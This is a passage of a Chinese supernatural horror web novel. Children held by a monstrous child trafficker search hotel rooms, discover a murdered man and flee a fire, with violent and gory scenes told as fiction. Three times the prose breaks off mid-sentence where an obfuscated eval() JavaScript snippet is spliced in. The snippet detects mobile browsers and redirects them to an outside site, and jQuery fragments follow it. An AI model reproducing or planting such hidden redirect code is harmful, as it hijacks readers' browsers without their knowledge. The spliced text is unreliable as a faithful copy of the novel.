周一没有说话,只是笑了笑,笑容有些阴暗。 “离单阿姨来还有一段时间,有三个房间我必须要去看看。”舒司鸢冲她伸出手,“钥匙给我。” 周一还是没说话,她保持着坐着的姿势没动,用行动给出拒绝的回答。 房客都是买家,舒司鸢在走廊上乱跑乱敲门,保不齐就被买家捅到单阿姨哪里去了。况且,就算他们不说,单阿姨也有一定概率出房间,撞上也是完蛋。 不管哪种情况,她们接下来都会面临加重的监管与加固的牢笼。人数越来越少,说不定单阿姨会和她们住一个房间,还省钱。 周一看傻子一样看着她。这小孩不仅说话老气横秋的,脑子也不好使。 “那我就向单阿姨告发你,你私藏钥匙,想要逃跑。”舒司鸢威胁道。 “那你就去说吧,我会把你也拉下水的。”周一冷笑。 “是吗?那你就去说吧。”舒司鸢满不在乎地回敬她,之后便不再作声了。 无声的对峙里,周一猛然意识到她的嚣张底气源于何处。 舒司鸢无论有没有做出逃跑的实际行为,单阿姨就只会睁一只眼闭一只眼,因为她能卖出一个高价。最多把她痛打一顿,然后尽快脱手。 可是一旦单阿姨发觉周一身上有钥匙,面对一个吃它白饭的累赘,打死她都算最轻松的死法。 单阿姨看她的目光已经越来越不耐。周一知道那些卖不出去的年龄大些的女孩子会被它便宜处理掉,她浑身战栗一下。 “你拿着吧,别还给我了。”周一把钥匙丢给她,像丢出一块烫手的山芋。 舒司鸢如愿以偿,问黄铃珑要不要和她一起去。 黄铃珑自然要跟着她。不说别的,在这没窗户的房间里关了一天一夜,她憋得慌。 她俩在周一阴沉的目光中推门离开。 走廊上静悄悄的,发出稍微一点响动便会被无限放大。黄铃珑压着嗓子问道:“先从哪个房间开始查起?” 舒司鸢竖起一根手指。黄铃珑了然,两人猫着身子靠近201,脚步声仿佛被地板吸走,一点声音都未曾漏出来。 直到她们到了门口,不得不抬手敲门,弄出不大不小的声响。 201是穿着红色鱼尾裙女人的房间。舒司鸢第一个找上她,因为她是她唯一确定仍是人类的人。 门把手被拧着转动小半圈,三个人彼此相视。 鱼尾裙女人就站在门后,她的脸色仍然枯黄,却焕发着一种奇异的生机。 “什么事?”她语气带着被打断的不满,突然一顿,她蹲下身,浑浊的双眼在舒司鸢和黄铃珑身上移来移去,兴奋地叫道,“哦,是你们!” “你们终于来了。”鱼尾裙女人的气息洒在她们脸上,留下一句蛊惑的耳语。 她起身,旁若无人地回到原位,继续手头未完的事打。门没关,让她们自己进来。 舒司鸢跟在她身后,“你怎么认出来的?” 她坐到画架前,对着眼前的空白的纸说:“我能看清灵魂。” 舒司鸢看她也不动笔,光是如同雕塑般静坐着,便好奇地问道:“你怎么不画?” “我在等待,”她拣起一支摆在桌上的笔,“等待灵感来临的时候。” 舒司鸢本想看看能不能从她的画里得到些提示。谁知鱼尾裙女人就这么一直拿着笔,笔尖冲着白纸,却好一会儿不曾落下。 舒司鸢只好打量起她的房间。在电话世界里,这里到是整齐不少,散落一地的画纸和地上的颜料都不见了,变得很是正常。 把房间里的布置都记在心里,她的目光落回鱼尾裙女人身上。这时,鱼尾裙女人开口了。 “看完了就走吧,”鱼尾裙女人下了逐客令,冷冰冰地说,“我要开始了。” 鱼尾裙女人不理她们,继续待在这里也是于事无补,索性如鱼尾裙女人的意,轻手轻脚地出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339267|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了。 “她怎么又对我们这么冷淡了?”舒司鸢刚关上门,黄铃珑就忍不住吐槽道。 “她觉得画画比我们更有意思吧。”舒司鸢也在奇怪鱼尾裙女人的话。 但时间紧迫,容不得她们仔细思考。两人马不停蹄前往203。 这是那个化出实体的小男孩的房间。黄铃珑小声说:“不知道在电话世界里,他会是什么样的。” 她不免地感到犹豫。小男孩虽然在上一次见面时,没表现出过要害人的意思,但毕竟是个非人生物。 门往后开了条小缝,邀请她们进去。 舒司鸢不害怕,门开了她就进去。黄铃珑硬着头皮,跟在她身后走了进去。 房间内开着灯,如舒司鸢所料,里面没人。 或者说,用“看不见”这个词,要更确切一些。 她感到小男孩就站在她们面前,观察着她们下一步的动作。 舒司鸢在203没有停留太久,既然不能从小男孩那里问到点信息,这个房间便没什么探索的价值。 “去找周小苗吧。”她随意看了两圈,都是些原本就有的家具。 207房间,是周小苗来给她们开的门。电钻般的呼噜声同她一块登场。 周小苗发现是之前一起玩过的伙伴,又圆又大的眼睛在红红的眼圈里弯起,正想叫她们,末了想起什么,小手在嘴边做了个拉拉链的动作。 舒司鸢也把手举到嘴边,画了一条横线,表示自己明白她的意思,会保持安静。 她们踮脚进入黑暗的207。 光头大叔平躺在床上睡觉,发出震天的鼾声,圆滚的肚子时鼓时收。 周小苗看了会,见他没被吵醒,便放松下来,拉着舒司鸢和黄铃珑就要说话。 门外倏地响起第二道敲门声。 谁会来找光头大叔? 舒司鸢瞬间猜到来者是谁,身体与大脑同时作出反应,她一手拉一个,拽开橱柜,三人滚进柜子里。 舒司鸢爬起去关柜门,一道巨响透过门传进柜子里。 那是斧头劈砍在木门上的声音。 一下,两下,三下…… 单阿姨每砍一下,周小苗的眼泪就漫出几滴。 忽然,她的手被人握住了,有人为她轻轻地擦去了眼泪。 “小苗,”舒司鸢的声音在黑暗中响起,“别害怕。” 周小苗一听到安慰的话,泪水流得更凶了。她听声辩位,把头靠在舒司鸢的肩膀上。 下一秒,她就听到舒司鸢毫不留情地说:“你得出去。” 周小苗抽抽搭搭:“我挤到你了吗……” “没有,不是这个原因。”舒司鸢感到周小苗离她远了一点,但柜内空间有限,周小苗温暖的体温还是传递过来。 “外面的是单阿姨。”舒司鸢留意着单阿姨砍门的速度,怕它马上进来,语速稍稍加快。 “我和这个姐姐是偷偷跑出来的,”舒司鸢指了一下黄铃珑,“如果被单阿姨发现了……” 她话还没说完,周小苗就边打哭嗝边开口了:“你们会被打死的。” “但你不是,它是来带你回去的。”舒司鸢搭上她抖动不已的肩膀,“你不会有事。” 柜子里漆黑一片,什么也看不到。她却依旧认真地望着周小苗,“我保证,会来找你。” “拉钩。”周小苗伸出小手指,舒司鸢和她拉钩。 周小苗又要求和黄铃珑拉钩,黄铃珑照做,还抱了抱她。 周小苗打开柜子爬出去,合上柜门之前,她请求道:“你们一定要带我一起回家。” 她像是怕被拒绝,说完便关上了柜门。 舒司鸢看着那具小小的身体消失在视线中,既庆幸又难过。 或许周小苗冥冥之中有所预感,舒司鸢会如她承诺的那样来把她从单阿姨身边带走,却无法带她回家。 柜子外,单阿姨劈下最后一斧,从门上的大洞中钻了进来。 16. 透明的房客8 柜子里的空间宽敞许多,舒司鸢调整一下姿势。忽然传来一记令人牙酸的咯吱声,她身体顿时僵在半空保持不动,凝神聆听,那声音却已经停止了。 对面208的门打开又关上,周小苗细微的抽泣声便听不到了。宾馆二楼重又安静下来,连光头大叔的呼噜声都消失了。 然而平静并没有维持太久。单阿姨一进门便发现屋内空空如也,一个孩子也没有。 暴怒之下,它的身体骤然膨胀几倍,从枯木般的身躯中长出四根肢体,像是多出一对手脚。新的肢体无处安放,便攀到墙壁上,吸附着墙面。 周小苗被它推了一把,摔在地板上,膝盖擦破了皮,渗出点点血珠。疼痛让她不由得倒吸了口气,又连忙用手捂住嘴巴,竭力让自己不要引起单阿姨的注意。 单阿姨的手和脚缓缓拉长,蠕动着覆盖到每一件家具上,拖出一条焦黑的痕迹。其中一只新长出来的手抓住了浴室的门把手。 那只手一转,露出里面三个抱在一起瑟瑟发抖的孩子。 单阿姨把她们拖出来,卷到鼻子下,喷着粗气问道:“另外两个呢?” 它嘴里尽是一种纸张腐烂发霉的怪味,周一定了定心神,把锅全部推到舒司鸢身上:“不知道。她们把我们锁在浴室里了。不过,我听到她们用钥匙开门的声音了。” 单阿姨拉开浴室门,一直插着钥匙的浴室门把手此刻空空荡荡。 但它仍未打消心里的狐疑,用手又把浴室里里外外检查了一遍,确认钥匙也没被藏在浴室里之后,才拉上了房门,把她们全部赶到角落里去。 四个女孩子小鸡崽似的紧紧挨着,单阿姨牢牢直视她们,目光如同在肉铺上挑选一块合乎心意的生肉。 它这回出来没带鞭子,只带上了一把斧头,毕竟此行的目的是杀了那个买走周小苗的人,把周小苗带回来。 八根手脚猛然伸到女孩子们面前,即将触上她们的面庞时却又收住,狂乱地飞舞一阵,不小心接住几颗滚落的眼泪,霎时便嫌弃地抖动几下,飞回了单阿姨的身体。 它用那幅惯常的压迫模样,庞大的身躯在沉默之中伫立着,牢牢注目她们。 被盯得久了,仿佛会无端生出一股错觉来——无论身处何方,都是它目之所及之处。 单阿姨用不着转身,它把脸换到脑后,占据一整面墙的身体如同随意揉动的面团般,弹性十足地从门中挤了出去。 一出门,它便急不可待地奔到第一间房,它要从头到尾搜查一遍。 等它找到那两个竟敢逃跑的赔钱货,在把她们卖出去之前,一定要先用鞭子把她们打得皮开肉绽! 它离开得太着急了,没注意到对面207里,那个正对着门的橱柜正被人开了一条小缝,里面躲藏的人借着走廊上漏进来的灯光,将它的举动看了个一清二楚。 眼见单阿姨走远,舒司鸢打开柜门,正要出来,一股浓重的血腥味扑鼻而来,侵占满橱柜的空间。 结合方才单阿姨砸门时便离奇消失的呼噜声,她心里忽地浮上一个荒诞的念头。 她抓紧时间钻出去,朝光头大叔躺着的床看过去。 光头大叔不知何时被裹进了被窝里,薄薄的被子从头盖到脚,依稀描摹出他的轮廓,脖颈处奇怪地高高顶起。 舒司鸢上前掀开被子。 光头大叔死水般的两眼呆愣愣地瞪着天花板,眼中无一丝光彩。脆弱的喉管被割开,脖子处插着单阿姨那把斧头,七零八落的尸块下洇开一大滩血迹。 黄铃珑也嗅到了血腥味,小跑过来看。 “他死了。”舒司鸢手松开,被子掉在光头大叔脸上,挡住了他可怖的死状。 黄铃珑一愣,旋即明白了她的意思,自己动手又把被子整个掀开了,“这个没事。我只害怕那些怪物。” 黄铃珑在“棱镜”里学到过一些基础的验尸知识。她爬到床头柜上,好看清光头大叔的全貌。 “他刚死不久,”黄铃珑观察着尸块的断面,“切得一点也不整齐,刚才那阵嘎吱嘎吱的响声不会就是……” 说完,她又自行小声反驳道:“可是要把人砍成这副样子,动静不会小,我们怎么可能一点都没察觉到。” 就算她们在橱柜里什么也听不到,那周小苗也该有所反应才是。这么血腥的行凶现场,周小苗肯定能哭得把屋顶都掀了。 但她却安安静静地和单阿姨走了。 “你还记得光头大叔退房的事吗?”舒司鸢按了按光头大叔的手臂,“我在想会不会是……” “我们在‘域’里和电话世界里见到的他,早就已经是个死人了?” 因为他早就死了,所以他才会透明化得那么快。她们之前在“域”中感到奇怪的问题,此刻终于有了解答。 黄铃珑起了一层鸡皮疙瘩,也不看了,默默用被子盖住光头大叔,说:“要是单阿姨怕他把自己买卖人口的事情败露出去,在火灾前就把他杀了的话……” 那么光头大叔就很有可能在火灾之后形成的‘域’里死而复生,因为他曾在小孩子们面前露过面。 他以十分强硬的态度提出买下周小苗,甚至或许在私下里暗中威胁过单阿姨,如果它不把他女儿的朋友交给他,他就要去报警揭发它。 于是,他得到了周小苗。 一个居然可以让单阿姨都乖乖听话的人,毫不意外会被孩子们牢牢记住。 至此,舒司鸢大致拼凑出光头大叔的行为轨迹。 他曾经也是个人贩子,直到女儿出生后。他害怕有一天报应会降临到他身上,便从此金盆洗手。 但他从来没能忘记从前。每逢女儿生日,他望着那张被蜡烛照亮的小脸,竟然会不自觉地估算起她的卖价。 心里的那串数字让他心惊肉跳,失去女儿的恐惧与偷盗其他孩子的愧疚交织在一起,终于在某一天爆发了。 女儿哭着告诉他,她的好朋友周小苗好几天没来上学,她失踪了。 那下一个呢?会不会就是她? 光头大叔几近崩溃。他明白周家村以及沿途所有隐秘的地点,立刻动身,一路顺藤摸瓜,找到了周小苗。 再后来发生的事情,就是她们现在眼前看到的模样。 舒司鸢若有所思地望着破了个大洞的门。现实里光头大叔应该没被砍得这么惨,这个房间里发生的事,创作者只有周小苗一个。 她结合了家人从小讲到大的吓人故事,自身充分加以艺术发挥。好在她没亲眼见过杀人的情形,脑补不出具体的细节,方才单阿姨砍人才没闹出什么动静。 一想到自己还进了光头大叔的房间放过蜡烛,黄铃珑后知后觉地眼前一黑。 207房间不再具有意义,舒司鸢和黄铃珑趁着单阿姨进到一间屋子里时,跑出去打开了208的房门。 二楼不过十个房间,单阿姨动作又极快。舒司鸢闯入208,对着吓了一跳的女孩子们一口气不停地说:“再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351421|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待一会马上来接你们。” 她本来想着在单阿姨送饭之前回去,没想到单阿姨会来杀人灭口,直接发现她俩不见了,果然干这一行的就是心狠又歹毒。 舒司鸢担心周一她们受到自己的牵连,便开门来看看,此刻看到她们好端端地坐在地上,丢下一句让她们等着的话便关上了门。 她还没找到出口,带着这么多人行动无异于找死。 “你……”周一刚开了个头,却见对方进来又出去,转手把门锁上了。 单阿姨快要出来了,她们退回207。 “难道出口在210?”黄铃珑猜测道。 210是单阿姨住的房间,周一之前告诉过她们。 这一猜测有理有据,只不过孩子们都能把单阿姨想象成这么一个乌漆嘛黑的怪东西了,她住的房间肯定更是危机重重。 不过眼下她们毫无头绪,也只有这么一种可能的方法可以试试了。 黄铃珑提议道:“那我们等它进到房间里的时候,下楼去拿210房间的钥匙。” 这方法很危险,她们要尽可能无声无息地快速跑完两趟走廊,期间要躲避随时会出房间的单阿姨。而且单阿姨进房间搜查时,房门都是完全打开的。 她们经过这扇打开的房门时,说不定会倒霉地和单阿姨对视上。 那样她最好不要带上黄铃珑,自己一个人去一楼拿钥匙。 舒司鸢用目光测量着走廊的长度,计算按照她们现在的速度,最快需要多长时间才能跑完。这时她才发现,单阿姨的身影许久未在走廊上出现——它进了203后一直没有出来。 203……是小男孩在给她们拖延时间! “我下去,你在这等着。”舒司鸢扭头对黄铃珑说,然后冲了出去。 路过203时,她紧张地偏头瞥了一眼——门虚掩上了,阻隔了单阿姨的视线。 她松了口气,脚步未停,视线跟着移动的身体移到旁边的201上。 “201”三个数字从她眼前平滑而过,鱼尾裙女人的形象随之出现,接着她一并想起了她曾说过的话。回忆翻到某一句时,舒司鸢停了下来。 她说:“我在等待。” 而且她等待的东西马上就要来临了。想起她坐在画架前拿着画笔却迟迟未动的姿势,舒司鸢掉了个头,往回跑去。 她在等待的东西,也是她们要等待的。 黄铃珑见舒司鸢风风火火跑出去,又风风火火地跑回来了,不由得不解地问道:“怎么了?” 用小孩子的身体来回冲刺了两趟,舒司鸢直喘气,回答的两个字淹没在沉重的呼吸里。 “火灾。”她匀过气来,重复一遍那两个字,“出口在着火时才会出现。” 黄铃珑愣了两秒,还没想通其中关键,已经先顺着她的话问下去了:“等谁点火啊?” “等那个手上有蜡烛的人。”舒司鸢也在脑海中逐一排查人选,“不对,是身上带着火柴或者打火机的人。” 突然,她抬起头,直视黄铃珑,“你给光头大叔送蜡烛的时候,只给了他蜡烛是吗?” 黄铃珑也明白过来了,连忙点头,“是。我当时太心急了。况且火柴那么小一根,我就给忘了。” 她们马上去翻光头大叔的衣服口袋,果然在他的裤口袋里发现了一个外壳满是划痕的打火机。 然而还没等伸手去拿,便听背后传来一道阴恻恻的声音:“你们在这啊。” 17. 透明的房客9 舒司鸢大脑空白一瞬,伸手去够打火机,才抓到手心里,下一秒向前滑倒。为了平衡身体,她不得不放任打火机掉到地上。不料身体忽而腾空,被单阿姨捆住拖了过去。 她的牙齿重重磕在床沿,混合着麻意的钝痛从齿根蔓延到全身。眼角渗出些生理性泪水。 朦胧的泪珠里,单阿姨怪异扭曲的身体变得破碎,唯有一双眼白占据中央,兴奋与愠怒同时出现在它脸上,显得割裂又惊悚。 单阿姨像洗衣机甩脱衣服似地晃了晃她们,捡起从舒司鸢口袋中掉出来的钥匙,然后才凑近瞧着晕乎乎的两个人。 203那个蠢货,仗着自己看不见它,竟然自不量力地妄想吞噬自己,第一下还真被它偷袭成功了。 不过小鬼就是小鬼,虽然有点难缠,但花点时间也顺利脱身了。 在和那个透明的东西缠斗时,它忽然感受到地板传来的微微震颤,意识到那是有人跑了过去。 尽管这只偷溜出来的小老鼠刻意放轻了脚步,它还是察觉到了。 所有的声音,再细微也好,都能被它轻而易举地捕捉。 想到这里,单阿姨不禁露出得意的表情,心情颇好地抛了抛手里的两个小孩,在半空中突然收回手,让她们摔在地上。 它竭力控制着施虐的欲望,没让她们摔得太惨,毕竟它还指望着用孩子换钱,越健康的孩子,换来的钱就越多。 钱对它来说是美味的食物。每回饱餐时,它总会把咀嚼过钞票的牙齿与舔舐过钞票的舌头也一并吞下去。 但是无论它吞了多少钱财下去,它的肚子永远感到饥饿,永远也填不饱,注定了永远只能做个狼狈的饿殍。 单阿姨不快地把两个孩子翻过来,没想到正对上对方愤恨的眼神。 被难耐的饥饿催生出的愤怒顿时喷涌而出。这么多年来,它最讨厌的就是这种怨恨。这些又哭又闹的东西,怎么就不能消停一点,乖巧地等着被换成它的食物呢? 单阿姨捏着她们的四肢,只是轻轻向外一扯,便满意地听到了压抑的闷哼。 舒司鸢痛得要命,额头布满冷汗。她下意识想要挣扎,但是单阿姨钳制住了她的手脚,她全身动弹不得,只有头能费劲地仰起。 单阿姨至少不会弄死她们。她在剧痛之中不停回想着这一点。 针扎似的大脑里忽地响起一声猫叫。 舒司鸢乍然以为自己听错了,看到旁边的黄铃珑朝向门口望去的脸,才知道那不是自己的错觉。 单阿姨不扯了,却没放开她们。它把其中一只眼睛转到后脑勺,左右来回转了转,没看到人。 直到一丝独属于食物的香味悠然钻入它的鼻子,单阿姨追踪着这股味道向下一看,才发现那是一只黑猫,身旁叠着几张粉红色的钞票。 “喵。”见它看过来,黑猫又叫了一声。 单阿姨的两只眼睛全都转换到朝着门口的一边了。它的手全数收回,反手刺向黑猫。 猫咬住地上的钱,转身闪电般蹿了出去。 单阿姨跟着挤出破洞,又折回来,快速卷起忍痛从地上爬起企图再次逃跑的舒司鸢和黄铃珑,打开210的门,把她们丢了进去。 等它先把猫带来的钱吃掉,再来收拾她们。 210房间的地板上长着几丛灰色的、绒毛般的东西,身体在上面一滚一压,灰色的粉末便飞扬到空中,和发丝缠卷在一起。 “咳、咳……”舒司鸢捂着口鼻咳嗽。粉末顺着呼吸呛入鼻腔,下降到喉咙里,激起一阵痒意。 她踉跄着站起来,环视单阿姨的房间。 不只是地上,床铺、桌椅和衣柜都长满了这种灰色物质,就连天花板也被侵蚀了一大半。 她蹲下去揪了一把,仔细观察手里的东西。 还没来得及看清,单阿姨去而复返,用手又捆住她们的腰,把人丢回208房间。 它追猫追到一半,临时改了主意。它要当着其他孩子的面,把她们拽到自己的房间进行惩罚。如此一来,还能顺便立立威风,警告和恐吓其余的小孩,让她们趁早歇了逃跑的心思。 迎着几个孩子惊惧不已的目光,单阿姨锁上了门。 好一会儿,周一才压下惊慌的心跳,起身上前去扶她们。 舒司鸢在她过来前,便自己利落地爬起来了。她抹了把脸上的灰尘,耳朵贴在门上,听着单阿姨远去的脚步声。 “你们居然没挨打?”周一看着靠在她身上的黄铃珑,对方的袖子被撕出一道裂口,手臂上只见愈合的旧伤,不见新添的伤口。 她俩除了看上去脏了点,灰头土脸的,没有那种被鞭子抽开皮肉的鲜血的味道。 “我倒希望被打完了,”强烈的痛感过去后,黄铃珑感觉全身无力而疲软,“它跟扯面一样扯我们,我感觉筋都要被拉断了。” 单阿姨的处罚进行到一半就被强行打断了,但它绝对不会就此罢休。 虽然不知道单阿姨怎么就去追猫了,反正等它一回来,这顿打指定是跑不了的。 说起来,这里怎么会有猫? 舒司鸢贴在门上的身影进入视线,黄铃珑记起了那声在电话里听过的猫叫。 “小鸢,刚才那是……”黄铃珑话到一半,就见舒司鸢用钥匙打开了门。 “怎么回事?不是被单阿姨拿走了吗?”看见她手里的钥匙,黄铃珑一下子惊喜起来,痛觉一扫而光。 “它拿走的是207的钥匙。”舒司鸢边说边朝走廊张望。 黄铃珑哪也不痛了,跟着向外望去。 “你们还要出去啊?”周一简直被她们的作死精神震惊了。 “出不出去都要挨打,”舒司鸢跨出了门,“这样更值一点。” “等一下。” 她关门之前,一道带着怯意的声音叫住了她。 舒司鸢抬头,是周小苗。 “我也要和你们一起去。”周小苗鼓起勇气说,“我要去叔叔那里把我的照片拿过来。” “不行。”周一眉头紧拧,严厉地说。她拉住周小苗的手,生怕她突然跑出去。 周小苗使劲抽出自己的手未果,她露出痛苦的神色,哀求道:“要是我没有那张照片的话,我就记不得自己是谁了……” 周一说:“你是周五啊,大家都会帮你记住的。” “她叫周小苗。”舒司鸢撑着门说。 “对,我叫周小苗。”周小苗重复了一遍。其实她刚才已经有些模模糊糊地忘记了,经人提醒才想起来。 周一闻言一愣神,周小苗找到机会挣脱出来,立马跑出房间,跳进对面房门的洞里。 “钥匙给你们,”舒司鸢把钥匙放到门旁的矮柜上,“待会要是听到三声敲门声,就是我来了,记得开。” 她掩上了门,方便找到照片的周小苗回去。 舒司鸢想到了什么,过去敲了敲门,引起了正在翻东西的周小苗的注意,说道:“周小苗,把打火机也一起拿出来,在地上。” “好。”周小苗顺从地说,她已经从她们之前藏身的橱柜里找到了照片,马上顺着舒司鸢的话找到了打火机。 舒司鸢见目的达到,立刻和黄铃珑下楼。 “你可以待在房间里的。”她低声说。 黄铃珑摇了摇头,无奈地说:“这是不行的。如果‘域’判定我的参与度不高,即使同伴找到出口,我也是不能跟着出去的。” 舒司鸢又被科普到了,好在她惯常总是一个人深入危险之中去找线索,来到新世界后便也一直习惯性地主动。 这次用不着遮掩,两人以最快的速度跑过走廊,却在经过203时被一把抓了进去。 隔空飞来两张纸巾挡住她们的嘴,紧接着,门外便传来单阿姨上楼的声音。 单阿姨咂吧着嘴爬楼。它找了好久,才找到那几张泡在了厨房洗手池里的纸币,赶紧捞出来吃掉了。虽然有点稍稍变了味,没有干燥的那么好吃,它还是意犹未尽地回味着那点根本不够塞牙缝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355958|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的味道。 留神听着单阿姨走远,舒司鸢感觉小腿似乎被拱了一下,低头一看,发现是芝麻。 猫毫发未伤,舒司鸢终于能够松口气。 她弯腰伸手,芝麻灵敏地躲开了。 鉴定完毕,确实是她的猫。 黄铃珑新奇地说:“我第一次见到有小动物可以进来‘域’诶。” 舒司鸢正想答话,走廊上蓦然响起周小苗歇斯底里的尖叫。 她还没回去吗?! 舒司鸢记得她离开之前,周小苗已经把照片和打火机都找到了。 她一把打开了门,却没朝周小苗的方向跑去,而是闷头冲下了楼。 余光里,她看到单阿姨的身体从207的破洞中再次挤进。 最后几阶台阶她几乎是滚下去的,手掌磨过长着毛刺的木地板。顾不得痛,她连滚带爬扑到前台,在座机上迅速按下几个键。 同一时间,站着怪物与女孩的207房间里,突兀地响起了电话铃声。 周小苗原本找到东西就想回去,临出门前瞥到了被子乱作一团的床,她便想着回去帮这个为自己找回名字的好心叔叔盖好被子。 然而她一走进那张床,登时僵在原地。 突起的被子后,被挡住的是一具破碎的尸体。 周小苗本能地尖叫出声,然后数不清的眼泪淹没了她。 她呆呆地注视着,怀里紧紧抱着叔叔给她的照片。 闻声赶来的单阿姨抽出了那张照片。 周小苗见到单阿姨,理智才悉数回笼。但她意识到为时已晚,而且内心深处不知道为什么出现了想要放弃挣扎的心思,她便麻木地站在那里。 单阿姨随意地瞥了眼照片,便把它撕成两半,恶劣地等待着周小苗作出反应。周小苗却一动不动,它怒从心起,又看到她另一只手里的打火机,抢了过来。 它往下一按,火苗咬住照片的一角,贪婪地向上吞没剩余的部分。 周小苗终于有所反应,她浑身战栗,巨大的怒意驱使她作出反抗,她飞身朝单阿姨扑过去。 单阿姨嗤笑一声,着火的照片掉到地上。它用手挡住周小苗,用力一推,把她死死压到地上。 周小苗的脑袋砸到地板上,意识短暂地断了线,她堪堪将其拉回,之后一直恍恍惚惚,仿佛飘浮在云中,就是落不到地面。 直到一阵悠扬的钢琴声唤醒了她。 电话铃声催命般响彻房间,大有一直不接便一直打下去的架势。 单阿姨投去忌惮的一眼,一只手还压着周小苗,另一只手拉长去接电话。 “退房。”话筒里传来言简意赅的命令。 疼痛在身体里四处游走,周小苗的唇角却勾起难以察觉的弧度,她听出来了这是谁的声音。 另一端,舒司鸢忧心忡忡地放下话筒。她故意压低声音,还把嗓音弄得沙哑,说的话也尽量简短,听上去却仍然稚气未脱。 她脱力般向后一靠。虽然不一定能糊弄到单阿姨,但由宾馆老板打来的电话,它就算不遵守“域”主的命令,也要遵守“域”内的规则。 在“域”中,黄铃珑曾去向秃头老板问过消失的光头大叔的下落,回来后告诉她光头大叔已经退房了。 当时她的注意力全部放在那句“退房”上,现在想来,重点应该在后一句“钥匙”上。 房客变成透明人消失了,就失去了居住权,必须进行退房登记。 而在这里,死亡等同于消失。要完成退房,就要归还钥匙。 楼梯处响起脚步声,舒司鸢抬头一看,下来的果然是周小苗。 她还没对这个受到惊吓的女孩露出笑意,便听见二楼激起惊慌失措的喊叫与混乱的奔跑声。 周小苗身后的墙壁闪着红光,紧跟着又闪过一道黑色的人影。 是黄铃珑。她拽过站在台阶上发愣的周小苗下楼,三两步赶到舒司鸢面前,咳了两下,勉强压住发痒的嗓子眼,说道:“着火了。” 18. 透明的房客10 舒司鸢闻言猛地抬起头,冲进厨房,拆封出几块毛巾,在水池里过了一遍,捞出来拧干,捂在口鼻上,转身上楼。 黄铃珑带着周小苗急急忙忙跟在她身后,也用湿毛巾捂住了脸。 二楼走廊上燃起冲天的火光。然而只有位于两侧的房间在熊熊燃烧,走廊最中央处居然空出了一块可以下脚的一段路。 变成小孩子的好处竟然在此刻显现出来,舒司鸢用不着弯腰走路,因此速度不减,马上就来到203门前。 但各个房间的情况极其糟糕,所有的门全部大开,火焰与黑烟一起涌出门口。舒司鸢小心翼翼地避开它们,一边伸长脖子朝里张望。 家具被烧得残破不已,在火光中时隐时现,除了东西断裂的“咔咔”声之外,再也听不到任何声音了。 舒司鸢蹙眉。距她从203出来打电话到周小苗现身,也才不过区区几分钟的时间,火势怎么会夸张到这种地步。 算了,芝麻又不是蠢蠢的小猫,这么大火它肯定早跑了。 舒司鸢收回视线。不远处女孩子们的哭喊引起了她的注意,她明白过来,料想一定又是她们内心深处的恐惧感在作祟,所以火势才会无法控制地吞没整个二楼。 舒司鸢朝她们看过去,刚想挥手让她们下楼,却见前方尽头处原本是墙壁的地方,竟凭空生出一段楼梯。 最下面的那一层台阶上就站着她的猫,见她注意到它,甩了甩尾巴尖,轻盈地跳上一格格台阶,消失在楼梯的转角间。 这是芝麻要带她去往某个地方时的惯常动作。 舒司鸢半张脸闷在湿毛巾里,对身旁的黄铃珑和周小苗含糊地说了一句:“上楼。” 黄铃珑怀疑自己听错了,慢半拍地“啊”了一声。舒司鸢却没多耽搁,做了个示意她们跟上自己的手势,扭头便跑向前方。 208离那段多出来的楼梯,仅仅隔着一个房门的距离,故而周一比舒司鸢更早看到楼梯,早就带着周二和周三上了楼。 周一跨过拐角处,余光不经意间瞥见后方朝这里赶来的几个身影,原地顿了下招了招手,接着便不管她们,继续往上跑去。 舒司鸢眼尖,瞧见了火光中那只细细的胳膊。走廊上那块没被波及到的空地正在缩小,她一心往前,肌肤不时被灼热的火浪燎到,激起一片刺痛。 路过207时,她迅速往里投去一眼。里面单阿姨丑陋的身躯上燃着几簇火,正在痛苦地翻滚,嘴里发出不成调的嘶哑。 来不及多看,她们在大火彻底吞没二楼前站上了楼梯。 烟雾还没有飘上楼梯,舒司鸢移开湿毛巾,大口呼吸,一口气还没喘匀,火舌已经舔上第一级台阶,浓烟也滚滚而来。 舒司鸢擦了下额头上被火烘出来的汗,一刻不停上楼。 楼上的布局与原来的二楼别无二致,甚至可以说是一模一样——门口贴着的房号,数字仍然是以“2”开头,告知她们这里还是二楼。 而尽头处,又是一段楼梯。 刚上来的黄铃珑也发现了门牌号的异常,她隐隐觉得不妙,“不会永远都是二楼吧?” 类似的情况,她之前和前辈一起出任务时就遇到过一次。那次是在一个极度寒冷、刮着暴风雪的“域”里,当时她们已经找到出口就在一座桥后,但明明已经被她们通过的桥,却在前方不停重复出现。 